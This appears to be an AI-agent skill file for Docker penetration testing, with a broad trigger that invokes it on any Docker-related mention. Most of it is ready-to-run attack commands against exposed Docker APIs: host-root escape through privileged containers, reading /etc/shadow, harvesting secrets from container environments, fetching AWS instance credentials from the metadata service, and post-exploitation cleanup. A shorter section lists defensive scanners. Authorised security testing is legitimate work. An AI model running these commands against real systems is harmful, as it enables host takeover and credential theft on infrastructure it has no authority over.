Hacktricks-skills docker-pentesting
Docker security assessment and exploitation. Use this skill whenever the user needs to enumerate Docker services, exploit misconfigured Docker APIs (ports 2375/2376), escape containers, discover secrets in running containers, or perform privilege escalation via Docker. Trigger on mentions of Docker, containerization, container escape, Docker API, port 2375, port 2376, container security, or any Docker-related security testing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/2375-pentesting-docker/SKILL.MDDocker Pentesting Skill
A comprehensive skill for Docker security assessments, including enumeration, exploitation, container escape, and secret discovery.
When to Use This Skill
Use this skill when:
- You need to enumerate a Docker service (especially on ports 2375/2376)
- You want to exploit an unauthenticated Docker API
- You need to escape from a Docker container to the host
- You're looking for secrets in running containers
- You need to perform privilege escalation via Docker
- You're assessing Docker security configurations
Quick Reference
Default Ports
- 2375/tcp: Docker Remote API (unencrypted, no auth by default)
- 2376/tcp: Docker Remote API (TLS encrypted)
Fast Privilege Escalation
# If you have Docker API access, this gives you root on the host docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Enumeration
Check if Docker API is Accessible
First, determine if you can reach the Docker API:
# Using curl (works on both 2375 and 2376) curl -s http://<target>:2375/version | jq # Using docker CLI docker -H tcp://<target>:2375 version # Set environment variable to avoid -H flag export DOCKER_HOST="tcp://<target>:2375" docker version
Enumerate Running Containers
# List all containers docker -H tcp://<target>:2375 ps -a # Using curl for TLS endpoint curl -s --insecure https://<target>:2376/containers/json | jq
Inspect Container Details
# Get detailed container info (includes environment variables, mounts, etc.) docker -H tcp://<target>:2375 inspect <container_id> # Check what's mounted curl -s --insecure -X POST -H "Content-Type: application/json" \ https://<target>:2376/containers/<container_id>/exec \ -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","mount"]}'
List Images
docker -H tcp://<target>:2375 images # Using containerd CLI (if available) ctr images list
Exploitation
Container Escape via Privileged Container
If you can create containers, spawn a privileged one with host filesystem mounted:
# Method 1: Simple chroot escape docker -H tcp://<target>:2375 run --rm -it --privileged -v /:/host alpine chroot /host /bin/bash # Method 2: Using curl API (for TLS endpoint) curl -s --insecure -X POST -H "Content-Type: application/json" \ https://<target>:2376/containers/create?name=escape \ -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host /bin/bash"],"Binds":["/:/host"],"Privileged":true}' curl -s --insecure -X POST https://<target>:2376/containers/escape/start curl -s --insecure -X POST -H "Content-Type: application/json" \ https://<target>:2376/containers/escape/exec \ -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"]}'
Read Sensitive Files
# Read /etc/shadow docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/etc/shadow # Read any file docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/<path/to/file>
Extract Secrets from Running Containers
# Get container ID docker -H tcp://<target>:2375 ps | grep <service_name> # Inspect for environment variables (often contain secrets) docker -H tcp://<target>:2375 inspect <container_id> | jq '.[0].Config.Env' # Copy files from container docker -H tcp://<target>:2375 cp <container_id>:/etc/<secret_file> ./ # Execute commands to find secrets docker -H tcp://<target>:2375 exec -it <container_id> env docker -H tcp://<target>:2375 exec -it <container_id> cat /run/secrets/*
AWS Metadata Access (if container has network access)
# Create exec to fetch AWS credentials curl -s --insecure -X POST -H "Content-Type: application/json" \ https://<target>:2376/containers/<container_id>/exec \ -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' # Get the exec ID from response, then start it curl -s --insecure -X POST -H "Content-Type: application/json" \ https://<target>:2376/exec/<exec_id>/start -d '{}'
Containerd Exploitation
If containerd is accessible directly:
# Pull an image ctr images pull --skip-verify --plain-http <registry>:5000/alpine:latest # Create and start a container ctr container create <image> <container_name> ctr task start <container_name> # Attach to running container ctr tasks attach <container_name> # List and manage containers ctr container list ctr task list ctr task kill -s SIGKILL <container_name> ctr container delete <container_name>
Podman Considerations
Podman is compatible with Docker CLI but has key differences:
# Podman commands (same as docker) podman --version podman info podman images ls podman ps # Podman supports rootless containers by default # This can be both a security feature and a limitation for exploitation
Security Assessment Tools
Docker Security Benchmarks
# docker-bench-security - comprehensive security check git clone https://github.com/docker/docker-bench-security cd docker-bench-security ./docker-bench-security.sh # dockscan - Docker security scanner dockscan -v unix:///var/run/docker.sock # amicontained - check container privileges docker run --rm -it r.j3ss.co/amicontained docker run --rm -it --pid host r.j3ss.co/amicontained
Dockerfile Linting
# hadolint - popular Dockerfile linter docker run --rm -i hadolint/hadolint < Dockerfile # dockerfile-linter dockerfilelinter -f Dockerfile # dockerfilelint dockerfilelint Dockerfile
Image Vulnerability Scanning
# Clair - vulnerability scanner for container images docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml" clair-scanner -c http://<clair_ip>:6060 --ip <target_ip> <image_name>
Runtime Monitoring
# Falco - runtime security monitoring docker run -it --privileged \ -v /var/run/docker.sock:/host/var/run/docker.sock \ -v /dev:/host/dev \ -v /proc:/host/proc:ro \ -v /boot:/host/boot:ro \ -v /lib/modules:/host/lib/modules:ro \ -v /usr:/host/usr:ro \ falcosecurity/falco
Common Attack Patterns
Pattern 1: Unauthenticated Docker API
Scenario: Port 2375 is open with no authentication
Exploitation:
export DOCKER_HOST="tcp://<target>:2375" docker run -it -v /:/host ubuntu:latest chroot /host/ bash
Pattern 2: TLS Docker API with Weak Certificates
Scenario: Port 2376 is open with self-signed or weak certificates
Exploitation:
# Use --insecure flag with curl curl -s --insecure https://<target>:2376/containers/json | jq # Create privileged container via API curl -s --insecure -X POST -H "Content-Type: application/json" \ https://<target>:2376/containers/create?name=pwned \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'
Pattern 3: Container with Host Mounts
Scenario: Container already has host filesystem mounted
Exploitation:
# Find the mount point docker exec -it <container_id> mount | grep /host # Escape to host cd /host chroot /bin/bash
Pattern 4: Secrets in Environment Variables
Scenario: Container has sensitive data in environment variables
Exploitation:
# List all environment variables docker exec -it <container_id> env # Look for common secret patterns docker exec -it <container_id> env | grep -iE '(password|secret|key|token|api_key|aws)' # Inspect container config docker inspect <container_id> | jq '.[0].Config.Env'
Cleanup
After exploitation, clean up created containers:
# Stop and remove containers docker -H tcp://<target>:2375 stop <container_id> docker -H tcp://<target>:2375 rm <container_id> # Or prune all stopped containers docker -H tcp://<target>:2375 container prune # Using curl API curl -s --insecure -X POST https://<target>:2376/containers/prune